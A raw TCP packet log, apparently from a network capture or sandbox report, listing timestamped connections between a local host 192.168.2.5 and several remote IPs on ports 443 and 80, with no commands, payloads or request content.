Sep 30, 2024 09:51:31.895028114 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.895042896 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.895052910 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.895087004 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.914832115 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.914870977 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.914891005 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.914901018 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.914928913 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.927690029 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.927764893 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.927766085 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.927792072 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.927826881 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.934604883 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.934644938 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.934664011 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.934673071 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.934710026 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.948127985 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.948174000 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.948218107 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.948226929 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.948259115 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.957900047 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.957922935 CEST	49736	443	192.168.2.5	142.250.185.132
Sep 30, 2024 09:51:31.957938910 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.957961082 CEST	443	49736	142.250.185.132	192.168.2.5
Sep 30, 2024 09:51:31.957962990 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.957976103 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.958009958 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.958036900 CEST	49736	443	192.168.2.5	142.250.185.132
Sep 30, 2024 09:51:31.958225012 CEST	49736	443	192.168.2.5	142.250.185.132
Sep 30, 2024 09:51:31.958237886 CEST	443	49736	142.250.185.132	192.168.2.5
Sep 30, 2024 09:51:31.967487097 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.967554092 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.967561007 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.967578888 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.967617035 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.977449894 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.977488995 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.977524042 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.977534056 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.977569103 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.981676102 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.981719017 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.981760979 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:31.981781006 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:31.981810093 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:32.001708031 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.001748085 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.001805067 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:32.001822948 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.001861095 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:32.014759064 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.014822960 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.014833927 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:32.014847040 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.014883041 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:32.020906925 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.020947933 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.020978928 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:32.020987988 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.021038055 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:32.035058022 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.035119057 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.035128117 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:32.035155058 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.035196066 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:32.044759989 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.044800043 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.044893026 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:32.044903040 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.054200888 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.054266930 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:32.054277897 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.054300070 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.054336071 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:32.064308882 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.064348936 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.064376116 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:32.064388037 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.064416885 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:32.068533897 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.068581104 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.068595886 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:32.068625927 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.068646908 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:32.089111090 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.089150906 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.089178085 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:32.089189053 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.089220047 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:32.101528883 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.101592064 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:32.101608038 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.101629972 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.101697922 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:32.101707935 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.107673883 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.107722998 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.107750893 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:32.107760906 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.107789993 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:32.121210098 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.121258974 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.121283054 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:32.121290922 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.121325016 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:32.131350040 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.131411076 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:32.131421089 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.131445885 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.131481886 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:32.141185045 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.141227961 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.141247988 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:32.141258955 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.141282082 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:32.151144981 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.151185036 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.151206017 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:32.151215076 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.151263952 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:32.155107021 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.155168056 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:32.155183077 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.155209064 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.155241013 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:32.175651073 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.175698042 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.175710917 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:32.175734997 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.175744057 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:32.175769091 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:32.188294888 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.188338041 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.188363075 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:32.188378096 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.188401937 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:32.198590040 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.198654890 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:32.198659897 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.198695898 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.198740005 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:32.207915068 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.207959890 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.207981110 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:32.207989931 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.208025932 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:32.217931032 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.217967987 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.217994928 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:32.218004942 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.218033075 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:32.227756023 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.227823019 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:32.227830887 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.227858067 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.227900028 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:32.237760067 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.237798929 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.237822056 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:32.237832069 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.237858057 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:32.261881113 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.261925936 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.261970997 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:32.261982918 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.262002945 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:32.262825966 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.262865067 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.262887001 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:32.262896061 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.262918949 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:32.274974108 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.275048971 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.275055885 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:32.275074959 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.275119066 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:32.285490036 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.285531044 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.285579920 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:32.285579920 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:32.285592079 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.294540882 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.294586897 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.294611931 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:32.294620037 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.294676065 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:32.304905891 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.304949045 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.305056095 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:32.305056095 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:32.305068016 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.314552069 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.314630032 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.314634085 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:32.314657927 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.314743996 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:32.325037003 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.325077057 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.325156927 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:32.325156927 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:32.325167894 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.348517895 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.348566055 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.348634958 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:32.348634958 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:32.348644018 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.349330902 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.349405050 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:32.349503994 CEST	49731	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:32.349531889 CEST	443	49731	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:32.526806116 CEST	80	49735	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:32.526863098 CEST	49735	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:32.594624043 CEST	443	49736	142.250.185.132	192.168.2.5
Sep 30, 2024 09:51:32.595247984 CEST	49736	443	192.168.2.5	142.250.185.132
Sep 30, 2024 09:51:32.595274925 CEST	443	49736	142.250.185.132	192.168.2.5
Sep 30, 2024 09:51:32.596821070 CEST	443	49736	142.250.185.132	192.168.2.5
Sep 30, 2024 09:51:32.596882105 CEST	49736	443	192.168.2.5	142.250.185.132
Sep 30, 2024 09:51:32.600651979 CEST	49736	443	192.168.2.5	142.250.185.132
Sep 30, 2024 09:51:32.600739956 CEST	443	49736	142.250.185.132	192.168.2.5
Sep 30, 2024 09:51:32.651884079 CEST	49736	443	192.168.2.5	142.250.185.132
Sep 30, 2024 09:51:32.651902914 CEST	443	49736	142.250.185.132	192.168.2.5
Sep 30, 2024 09:51:32.701106071 CEST	49736	443	192.168.2.5	142.250.185.132
Sep 30, 2024 09:51:34.181526899 CEST	49735	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:34.181803942 CEST	49739	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:34.296716928 CEST	80	49739	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:34.296838999 CEST	49739	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:34.296946049 CEST	49739	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:34.298085928 CEST	80	49735	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:34.298135996 CEST	49735	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:34.301896095 CEST	80	49739	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:34.551197052 CEST	49742	80	192.168.2.5	185.215.113.37
Sep 30, 2024 09:51:34.556229115 CEST	80	49742	185.215.113.37	192.168.2.5
Sep 30, 2024 09:51:34.556317091 CEST	49742	80	192.168.2.5	185.215.113.37
Sep 30, 2024 09:51:34.556456089 CEST	49742	80	192.168.2.5	185.215.113.37
Sep 30, 2024 09:51:34.561198950 CEST	80	49742	185.215.113.37	192.168.2.5
Sep 30, 2024 09:51:35.013103962 CEST	80	49739	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:35.013242006 CEST	49739	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:35.255268097 CEST	80	49742	185.215.113.37	192.168.2.5
Sep 30, 2024 09:51:35.255358934 CEST	49742	80	192.168.2.5	185.215.113.37
Sep 30, 2024 09:51:35.259799004 CEST	49742	80	192.168.2.5	185.215.113.37
Sep 30, 2024 09:51:35.264791012 CEST	80	49742	185.215.113.37	192.168.2.5
Sep 30, 2024 09:51:35.490015984 CEST	80	49742	185.215.113.37	192.168.2.5
Sep 30, 2024 09:51:35.490387917 CEST	49742	80	192.168.2.5	185.215.113.37
Sep 30, 2024 09:51:36.516877890 CEST	49739	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:36.518301964 CEST	49747	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:36.522140980 CEST	80	49739	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:36.522262096 CEST	49739	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:36.523112059 CEST	80	49747	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:36.523178101 CEST	49747	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:36.523284912 CEST	49747	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:36.528093100 CEST	80	49747	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:36.688431978 CEST	49749	443	192.168.2.5	172.217.18.110
Sep 30, 2024 09:51:36.688437939 CEST	443	49749	172.217.18.110	192.168.2.5
Sep 30, 2024 09:51:36.688488960 CEST	49749	443	192.168.2.5	172.217.18.110
Sep 30, 2024 09:51:36.688663960 CEST	49749	443	192.168.2.5	172.217.18.110
Sep 30, 2024 09:51:36.688673973 CEST	443	49749	172.217.18.110	192.168.2.5
Sep 30, 2024 09:51:37.219851971 CEST	80	49747	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:37.219942093 CEST	49747	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:37.316849947 CEST	443	49749	172.217.18.110	192.168.2.5
Sep 30, 2024 09:51:37.317116976 CEST	49749	443	192.168.2.5	172.217.18.110
Sep 30, 2024 09:51:37.317125082 CEST	443	49749	172.217.18.110	192.168.2.5
Sep 30, 2024 09:51:37.317461967 CEST	443	49749	172.217.18.110	192.168.2.5
Sep 30, 2024 09:51:37.317522049 CEST	49749	443	192.168.2.5	172.217.18.110
Sep 30, 2024 09:51:37.318064928 CEST	443	49749	172.217.18.110	192.168.2.5
Sep 30, 2024 09:51:37.318128109 CEST	49749	443	192.168.2.5	172.217.18.110
Sep 30, 2024 09:51:37.319272041 CEST	49749	443	192.168.2.5	172.217.18.110
Sep 30, 2024 09:51:37.319329977 CEST	443	49749	172.217.18.110	192.168.2.5
Sep 30, 2024 09:51:37.319406986 CEST	49749	443	192.168.2.5	172.217.18.110
Sep 30, 2024 09:51:37.367405891 CEST	443	49749	172.217.18.110	192.168.2.5
Sep 30, 2024 09:51:37.419779062 CEST	49749	443	192.168.2.5	172.217.18.110
Sep 30, 2024 09:51:37.419795036 CEST	443	49749	172.217.18.110	192.168.2.5
Sep 30, 2024 09:51:37.529164076 CEST	49749	443	192.168.2.5	172.217.18.110
Sep 30, 2024 09:51:37.634195089 CEST	443	49749	172.217.18.110	192.168.2.5
Sep 30, 2024 09:51:37.634251118 CEST	443	49749	172.217.18.110	192.168.2.5
Sep 30, 2024 09:51:37.634335041 CEST	49749	443	192.168.2.5	172.217.18.110
Sep 30, 2024 09:51:37.634347916 CEST	443	49749	172.217.18.110	192.168.2.5
Sep 30, 2024 09:51:37.634370089 CEST	443	49749	172.217.18.110	192.168.2.5
Sep 30, 2024 09:51:37.634419918 CEST	49749	443	192.168.2.5	172.217.18.110
Sep 30, 2024 09:51:37.634427071 CEST	443	49749	172.217.18.110	192.168.2.5
Sep 30, 2024 09:51:37.639569998 CEST	443	49749	172.217.18.110	192.168.2.5
Sep 30, 2024 09:51:37.639646053 CEST	443	49749	172.217.18.110	192.168.2.5
Sep 30, 2024 09:51:37.639703989 CEST	49749	443	192.168.2.5	172.217.18.110
Sep 30, 2024 09:51:37.639715910 CEST	443	49749	172.217.18.110	192.168.2.5
Sep 30, 2024 09:51:37.641320944 CEST	49749	443	192.168.2.5	172.217.18.110
Sep 30, 2024 09:51:37.644706011 CEST	443	49749	172.217.18.110	192.168.2.5
Sep 30, 2024 09:51:37.645272017 CEST	443	49749	172.217.18.110	192.168.2.5
Sep 30, 2024 09:51:37.645344973 CEST	49749	443	192.168.2.5	172.217.18.110
Sep 30, 2024 09:51:37.645400047 CEST	49749	443	192.168.2.5	172.217.18.110
Sep 30, 2024 09:51:37.645407915 CEST	443	49749	172.217.18.110	192.168.2.5
Sep 30, 2024 09:51:38.404329062 CEST	49742	80	192.168.2.5	185.215.113.37
Sep 30, 2024 09:51:38.829572916 CEST	49747	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:38.829833984 CEST	49756	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:38.834690094 CEST	80	49756	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:38.834758997 CEST	49756	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:38.834831953 CEST	80	49747	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:38.834882021 CEST	49747	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:38.835011005 CEST	49756	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:38.839802980 CEST	80	49756	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:39.214314938 CEST	49758	443	192.168.2.5	142.250.184.238
Sep 30, 2024 09:51:39.214343071 CEST	443	49758	142.250.184.238	192.168.2.5
Sep 30, 2024 09:51:39.214399099 CEST	49758	443	192.168.2.5	142.250.184.238
Sep 30, 2024 09:51:39.214566946 CEST	49758	443	192.168.2.5	142.250.184.238
Sep 30, 2024 09:51:39.214577913 CEST	443	49758	142.250.184.238	192.168.2.5
Sep 30, 2024 09:51:39.547688961 CEST	80	49756	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:39.547756910 CEST	49756	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:39.879213095 CEST	443	49758	142.250.184.238	192.168.2.5
Sep 30, 2024 09:51:39.879430056 CEST	49758	443	192.168.2.5	142.250.184.238
Sep 30, 2024 09:51:39.879445076 CEST	443	49758	142.250.184.238	192.168.2.5
Sep 30, 2024 09:51:39.880822897 CEST	443	49758	142.250.184.238	192.168.2.5
Sep 30, 2024 09:51:39.880888939 CEST	49758	443	192.168.2.5	142.250.184.238
Sep 30, 2024 09:51:39.883424044 CEST	443	49758	142.250.184.238	192.168.2.5
Sep 30, 2024 09:51:39.883485079 CEST	49758	443	192.168.2.5	142.250.184.238
Sep 30, 2024 09:51:39.884322882 CEST	49758	443	192.168.2.5	142.250.184.238
Sep 30, 2024 09:51:39.884490967 CEST	443	49758	142.250.184.238	192.168.2.5
Sep 30, 2024 09:51:39.884586096 CEST	49758	443	192.168.2.5	142.250.184.238
Sep 30, 2024 09:51:39.884591103 CEST	443	49758	142.250.184.238	192.168.2.5
Sep 30, 2024 09:51:39.934873104 CEST	49758	443	192.168.2.5	142.250.184.238
Sep 30, 2024 09:51:40.203031063 CEST	443	49758	142.250.184.238	192.168.2.5
Sep 30, 2024 09:51:40.203109026 CEST	443	49758	142.250.184.238	192.168.2.5
Sep 30, 2024 09:51:40.203145981 CEST	443	49758	142.250.184.238	192.168.2.5
Sep 30, 2024 09:51:40.203212023 CEST	49758	443	192.168.2.5	142.250.184.238
Sep 30, 2024 09:51:40.203223944 CEST	443	49758	142.250.184.238	192.168.2.5
Sep 30, 2024 09:51:40.203259945 CEST	49758	443	192.168.2.5	142.250.184.238
Sep 30, 2024 09:51:40.206110954 CEST	443	49758	142.250.184.238	192.168.2.5
Sep 30, 2024 09:51:40.206186056 CEST	49758	443	192.168.2.5	142.250.184.238
Sep 30, 2024 09:51:40.206192017 CEST	443	49758	142.250.184.238	192.168.2.5
Sep 30, 2024 09:51:40.212344885 CEST	443	49758	142.250.184.238	192.168.2.5
Sep 30, 2024 09:51:40.212380886 CEST	443	49758	142.250.184.238	192.168.2.5
Sep 30, 2024 09:51:40.212426901 CEST	49758	443	192.168.2.5	142.250.184.238
